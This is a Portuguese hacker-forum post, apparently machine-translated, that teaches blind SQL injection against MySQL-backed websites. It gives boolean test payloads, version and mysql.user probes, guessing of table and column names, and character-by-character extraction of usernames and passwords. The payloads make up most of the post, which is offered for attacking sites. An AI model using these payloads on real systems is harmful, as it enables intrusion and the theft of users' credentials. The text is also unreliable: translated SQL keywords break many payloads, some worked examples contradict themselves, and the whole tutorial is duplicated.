Vamos começar com coisas avançadas.
Eu vou estar usando o nosso exemplo
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
quando executamos esse, nós vemos algumas páginas e artigos sobre essa página, imagens, etc ..
então, quando queremos testá-lo para o ataque cego de injeção sql
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1 <--- este é sempre verdadeiro
ea página carrega normalmente, isso é ok.
agora o teste real
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 <--- isto é falso
por isso, se algum texto, imagem ou parte do conteúdo está em falta na página voltou, então, que site é vulrnable a Blind SQL Injection.
1) Obter a versão de MySQL
para obter a versão em ataque cego usamos substring
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ version, 1,1) = 4
este deve retornar TRUE se a versão do MySQL é 4.
substituir 4 com 5, e se a consulta retornar TRUE então a versão é 5.
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ version, 1,1) = 5
2) Teste se funciona subselect
quando selecionar não funcionam, então usamos subselect
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select 1) = 1
se as cargas página, normalmente, em seguida, subselects trabalho.
então vamos ver se temos acesso a mysql.user
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione uma das mysql.user limite de 0,1) = 1
se as cargas página, normalmente, temos acesso a mysql.user e depois podemos puxar alguns load_file usign password () função e OUTFILE.
3). Confira os nomes de tabela e coluna
Isso faz parte quando adivinhando é o melhor amigo![Feliz](https://forum.guiadohacker.com.br/images/smilies/smile.png)
ou seja
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione um dos usuários limite de 0,1) = 1 (com limite de 0,1 nossa consulta aqui retorna uma linha de dados, subselect causar retorna apenas 1 linha, isto é muito importante.)
então, se a página é carregada normalmente, sem conteúdo ausente, os usuários as saídas de mesa.
se você começar FALSE (algum artigo em falta), basta alterar o nome da tabela até que você acho que o caminho certo![Feliz](https://forum.guiadohacker.com.br/images/smilies/smile.png)
vamos dizer que descobrimos que o nome da tabela é usuários, agora o que precisamos é nome da coluna.
o mesmo nome da tabela, podemos começar a adivinhar. Como eu disse antes de tentar os nomes comuns para as colunas.
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select substring (concat (1, senha), 1,1) de usuários limite de 0,1) = 1
se a página é carregada normalmente sabemos que nome da coluna é a senha (se conseguirmos falso tente nomes comuns ou apenas acho)
aqui nós mesclar uma coluna com a senha, então substring retorna o primeiro caractere (, 1,1)
4). Puxar dados do banco de dados
encontramos usuários tabela i username password colunas de modo que vamos puxar personagens a partir disso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 80
ok isso aqui puxa o primeiro caractere do primeiro usuário na tabela de usuários.
substring aqui retorna o primeiro caractere e um caractere de comprimento. ascii () converte um caractere que em valor ascii
e depois compará-lo com maior simbol depois>.
por isso, se o caractere ascii maior que 80, a página é carregada normalmente. (TRUE)
continuamos a tentar até chegarmos falso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 95
obtemos TRUE, manter incrementando
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 98
VERDADEIRO novamente, maior
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 99
FALSO!
para o primeiro caractere no nome de usuário é char (99). Usando o conversor de ascii sabemos que char (99) é 'c' carta.
então vamos verificar o segundo personagem.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 2,1))> 99
Note que eu estou mudado, para 1,1, 2,1 para obter o segundo personagem. (Agora ele retorna o segundo personagem, um personagem de comprimento)
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 99
TRUE, a página é carregada normalmente, mais elevados.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 107
Número, FALSE inferiores.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 104
TRUE, mais elevados.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 105
FALSO!
sabemos que o segundo personagem é char (105) e que é 'i'. Temos 'ci' até agora
de modo a manter incrementando até chegar ao fim. (Quando> 0 retorna false sabemos que temos chegar ao fim).
Existem algumas ferramentas para SQL Injection Blind, eu acho que SqlMap é o melhor, mas estou fazendo tudo manualmente,
causa que te faz melhor SQL INJECTOR: D
creditos: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... # ixzz1W4mBGk1H
Eu vou estar usando o nosso exemplo
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
quando executamos esse, nós vemos algumas páginas e artigos sobre essa página, imagens, etc ..
então, quando queremos testá-lo para o ataque cego de injeção sql
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 1 <--- este é sempre verdadeiro
ea página carrega normalmente, isso é ok.
agora o teste real
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e 1 = 2 <--- isto é falso
por isso, se algum texto, imagem ou parte do conteúdo está em falta na página voltou, então, que site é vulrnable a Blind SQL Injection.
1) Obter a versão de MySQL
para obter a versão em ataque cego usamos substring
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ version, 1,1) = 4
este deve retornar TRUE se a versão do MySQL é 4.
substituir 4 com 5, e se a consulta retornar TRUE então a versão é 5.
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e substring (@ @ version, 1,1) = 5
2) Teste se funciona subselect
quando selecionar não funcionam, então usamos subselect
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select 1) = 1
se as cargas página, normalmente, em seguida, subselects trabalho.
então vamos ver se temos acesso a mysql.user
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione uma das mysql.user limite de 0,1) = 1
se as cargas página, normalmente, temos acesso a mysql.user e depois podemos puxar alguns load_file usign password () função e OUTFILE.
3). Confira os nomes de tabela e coluna
Isso faz parte quando adivinhando é o melhor amigo
![Feliz](https://forum.guiadohacker.com.br/images/smilies/smile.png)
ou seja
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (selecione um dos usuários limite de 0,1) = 1 (com limite de 0,1 nossa consulta aqui retorna uma linha de dados, subselect causar retorna apenas 1 linha, isto é muito importante.)
então, se a página é carregada normalmente, sem conteúdo ausente, os usuários as saídas de mesa.
se você começar FALSE (algum artigo em falta), basta alterar o nome da tabela até que você acho que o caminho certo
![Feliz](https://forum.guiadohacker.com.br/images/smilies/smile.png)
vamos dizer que descobrimos que o nome da tabela é usuários, agora o que precisamos é nome da coluna.
o mesmo nome da tabela, podemos começar a adivinhar. Como eu disse antes de tentar os nomes comuns para as colunas.
i.e
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e (select substring (concat (1, senha), 1,1) de usuários limite de 0,1) = 1
se a página é carregada normalmente sabemos que nome da coluna é a senha (se conseguirmos falso tente nomes comuns ou apenas acho)
aqui nós mesclar uma coluna com a senha, então substring retorna o primeiro caractere (, 1,1)
4). Puxar dados do banco de dados
encontramos usuários tabela i username password colunas de modo que vamos puxar personagens a partir disso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 80
ok isso aqui puxa o primeiro caractere do primeiro usuário na tabela de usuários.
substring aqui retorna o primeiro caractere e um caractere de comprimento. ascii () converte um caractere que em valor ascii
e depois compará-lo com maior simbol depois>.
por isso, se o caractere ascii maior que 80, a página é carregada normalmente. (TRUE)
continuamos a tentar até chegarmos falso.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 95
obtemos TRUE, manter incrementando
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 98
VERDADEIRO novamente, maior
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 99
FALSO!
para o primeiro caractere no nome de usuário é char (99). Usando o conversor de ascii sabemos que char (99) é 'c' carta.
então vamos verificar o segundo personagem.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 2,1))> 99
Note que eu estou mudado, para 1,1, 2,1 para obter o segundo personagem. (Agora ele retorna o segundo personagem, um personagem de comprimento)
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 99
TRUE, a página é carregada normalmente, mais elevados.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 107
Número, FALSE inferiores.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 104
TRUE, mais elevados.
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e ascii (substring ((SELECT concat (nome de usuário, 0x3a, password) de usuários limite de 0,1), 1,1))> 105
FALSO!
sabemos que o segundo personagem é char (105) e que é 'i'. Temos 'ci' até agora
de modo a manter incrementando até chegar ao fim. (Quando> 0 retorna false sabemos que temos chegar ao fim).
Existem algumas ferramentas para SQL Injection Blind, eu acho que SqlMap é o melhor, mas estou fazendo tudo manualmente,
causa que te faz melhor SQL INJECTOR: D
creditos: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... # ixzz1W4mBGk1H